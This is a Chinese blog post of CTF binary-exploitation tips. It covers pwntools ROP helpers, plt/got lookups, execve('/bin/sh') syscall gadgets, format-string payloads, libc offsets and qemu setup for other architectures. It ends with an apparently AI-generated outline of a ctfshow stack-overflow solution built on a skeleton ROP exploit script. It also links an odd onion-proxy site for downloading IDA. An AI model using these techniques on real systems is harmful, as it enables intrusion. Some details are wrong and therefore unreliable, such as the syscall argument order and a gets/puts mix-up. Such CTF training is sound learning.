ctf-pwn的一些小技巧

本文介绍如何利用Pwntools简化ROP攻击过程,包括使用ROPgadget查找gadget,利用plt和got表进行函数调用,以及通过gdb进行调试等技巧。此外,还涉及gcc编译选项、格式化字符串攻击、libc版本查询和异构环境搭建等内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

当我们在写exp的时候有些需要去复制粘贴某些函数在plt表,got表的地址,或者找ROP的地址,有些时候复制粘贴不方便且不方便阅读,这样时候我们就可以用pwntools中提供的一些函数;

以32位程序的exp为例:

ROPgadget:

0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

在exp中的0x0804843d,可以这样代替:

p32(rop.search(8).address)

其中rop:

proc = ‘文件路径’
elf = ELF(proc)
rop = ROP(elf)

找到gets函数在plt表中的位置,并将一段字符串写入bss段中:

p32(elf.plt['gets']) + 'aaaa' + p32(elf.bss()+0x100)
p.sendline("要写入的字符串")

获得gets函数在got表中的地址:

p32(elf.got['puts'])

在exp中附加gdb调试exp:

context.log_level = 'debug'

#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#deepin系统要加这句
if args.G:
    gdb.attach(p)

当带G参数运行exp时(python exp.py G),就会把gdb附加进去了;

gcc编译:

NX:-z execstack / -z noexecstack (关闭 / 开启)   

Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 

PIE:-no-pie / -pie (关闭 / 开启)   

RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 

遇到程序当中有alarm时可以:

1. 直接vim程序,修改alarm为isnan可以patch掉alarm函数;

2. 或者sed -i s/alarm/isnan/g ./pwn1

执行int 0x80可执行对应的系统调用:

查找int 0x80:

ROPgadget --binary ./file_name --only "int 0x80"
ROPgadget --binary ./file_name --opcode cd80c3

比如对于系统调用

execve("/bin/sh",NULL,NULL)
  • 系统调用号即eax应该为0xb(32位程序)或0x3b(64位程序)
  • 第一个参数即ebx应该指向/bin/sh的地址,其实执行sh的地址也可以
  • 第二个参数即ecx应该为0
  • 第三个参数edx应该为0

64位:

  1. 64位系统调用  
  2. mov rdi,xxxx;/bin/sh字符串的地址  
  3. mov rax,59;execve的系统调用号  
  4. mov rsi,0;  
  5. mov rdx,0 
  6.  syscall  

linux x64的传参方式:
它不同于x86的栈传参,它是优先6个寄存器传参,依次是RDI,RSI,RDX,RCX,R8,R9,然后多余的参数才传进栈内,所以在进行ROP,找gadget的时候注意先从rdi开始传参数,然后再是RSI,RDX,RCX,R8,R9,最后才是栈上面的;

int 80和syscenter采用的同样的传参顺序:eax,ebx,ecx,edx

但是syscall的传参顺序变成了rdi,rsi,rdx,r10,r9,r8

p.shutdown('send'):用于关闭读写通道,相当于Ctrl+c结束while循环;

知道libc.so找函数的偏移的方法:

libc = ELF('./libc.so')

system_offset = libc.symbols['system']

binsh_offset = next(libc.search('/bin/sh'))

recvuntil('?') : 直到看到' ?'后才进行操作;

格式化字符串常用函数 fmtstr_payload:

格式:

fmtstr_payload(num,{x_addr:str_addr})

num相当于%n$x中的n,表示第几个数,x_addr表示要修改的值的地址,str_addr表示需要修改成的值;

替换libc.so:

export LD_PRELOAD="/usr/lib/x86_64-linux-gnu/libproxychains.so.4"

 

gdb查看堆的快表:

p/x main_arena.fastbinsY

堆的其他查看:

p *(mchunkprt) 0x602010

find_fake_fast

exit退出的函数通过修改<_rtld_global+3848>位置可以修改rip; 先找_dl_fini的地址可以找到_rtld_global,它一个结构体;

one_gadget 通过realloc_hook(one)和__malloc_hook(__GI___libc_realloc+n)来调整;

在线查libc版本:

https://libc.blukat.me/

IDA下载:

http://fuckilfakp5d6a5t.onion.pet/

pwn异构环境搭建:

1.安装 qemu:

sudo apt-get install qemu-user

通过qemu模拟arm/mips环境,进而用gdb-multiarch进行调试;

2.安装gdb-multiarch:

sudo apt-get install gdb-multiarch

3.安装共享库:

根据需要安装,查看有那些库;

以mips为例:

apt-cache search "libc6" | grep mips

然后运行apt install +库名就可以安装;

4.运行方法:

静态链接的binary直接运行即可,会自动调用对应架构的qemu;

动态链接的bianry需要用对应的qemu同时指定共享库路径,使用-L指定共享库;

例如运行add文件:

qemu-mipsel -L /usr/mipsel-linux-gnu/ ./add

用file命令查看文件信息,然后根据文件的类型选择qemu-的类型;

qemu-的类型:

sir@sir-PC:~/desktop$ qemu-
qemu-aarch64       qemu-i386          qemu-mipsel        qemu-ppc64abi32    qemu-sparc
qemu-aarch64_be    qemu-m68k          qemu-mipsn32       qemu-ppc64le       qemu-sparc32plus
qemu-alpha         qemu-microblaze    qemu-mipsn32el     qemu-riscv32       qemu-sparc64
qemu-arm           qemu-microblazeel  qemu-nios2         qemu-riscv64       qemu-tilegx
qemu-armeb         qemu-mips          qemu-or1k          qemu-s390x         qemu-x86_64
qemu-cris          qemu-mips64        qemu-ppc           qemu-sh4           qemu-xtensa
qemu-hppa          qemu-mips64el      qemu-ppc64         qemu-sh4eb         qemu-xtensaeb

5.调试方法:

可以使用qemu的-g指定端口:

qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add

然后启动gdb-multiarch进行调试,先指定架构,再使用remote功能指定端口:

pwndbg> set architecture mips
pwndbg> target remote localhost:1234

 

### CTF SHOW PWN入门 pwn5 解法 对于CTF SHOW平台上的PWN挑战,尤其是针对`pwn5`这一题目,解决方法通常涉及对二进制漏洞的理解以及如何利用这些漏洞来获取flag。 #### 题目分析 在处理这类问题时,首先需要下载并理解目标程序的行为模式。通过逆向工程工具如IDA Pro或Ghidra可以查看可执行文件内部结构,识别潜在的安全缺陷[^1]。 #### 漏洞发现 经过初步审查后得知此题存在栈溢出的可能性。当输入长度超过缓冲区大小时未作适当检查便直接复制到固定空间内,这使得攻击者能够覆盖返回地址从而控制EIP寄存器指向任意位置执行恶意代码片段[^2]。 #### 利用技巧 为了成功完成该关卡,需构建特定格式的数据包作为输入发送给服务端进程。这里采用的方法是构造ROP链(Return-Oriented Programming Chain),即精心挑选一系列现有指令序列组合起来实现所需功能而不必注入额外shellcode: ```python from pwn import * context(os="linux", arch="amd64") binary_path = './path_to_binary' elf = ELF(binary_path) # 远程连接设置 host, port = "remote_host", 1234 conn = remote(host, int(port)) # 构造payload offset = ... # 计算偏移量 ret_address = ... pop_rdi_ret_gadget = ... payload = b'A' * offset + \ p64(pop_rdi_ret_gadget) + \ p64(target_function_arg) + \ p64(ret_address) conn.recvuntil(b'Tell me your name:') conn.sendline(payload) ``` 上述Python脚本展示了基本框架,实际应用中还需根据具体情况调整参数值,比如计算正确的偏移量(offset),找到合适的gadgets等[^3]。 #### 获取Flag 一旦成功触发了预期行为,则可以通过读取内存中的字符串或其他方式获得最终答案。例如,在某些情况下可能需要解析动态链接库表项以定位标准I/O函数的实际映射地址,进而打印出隐藏信息;而在另一些场景下则可能是直接调用了puts()之类的API输出预设好的标志位[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值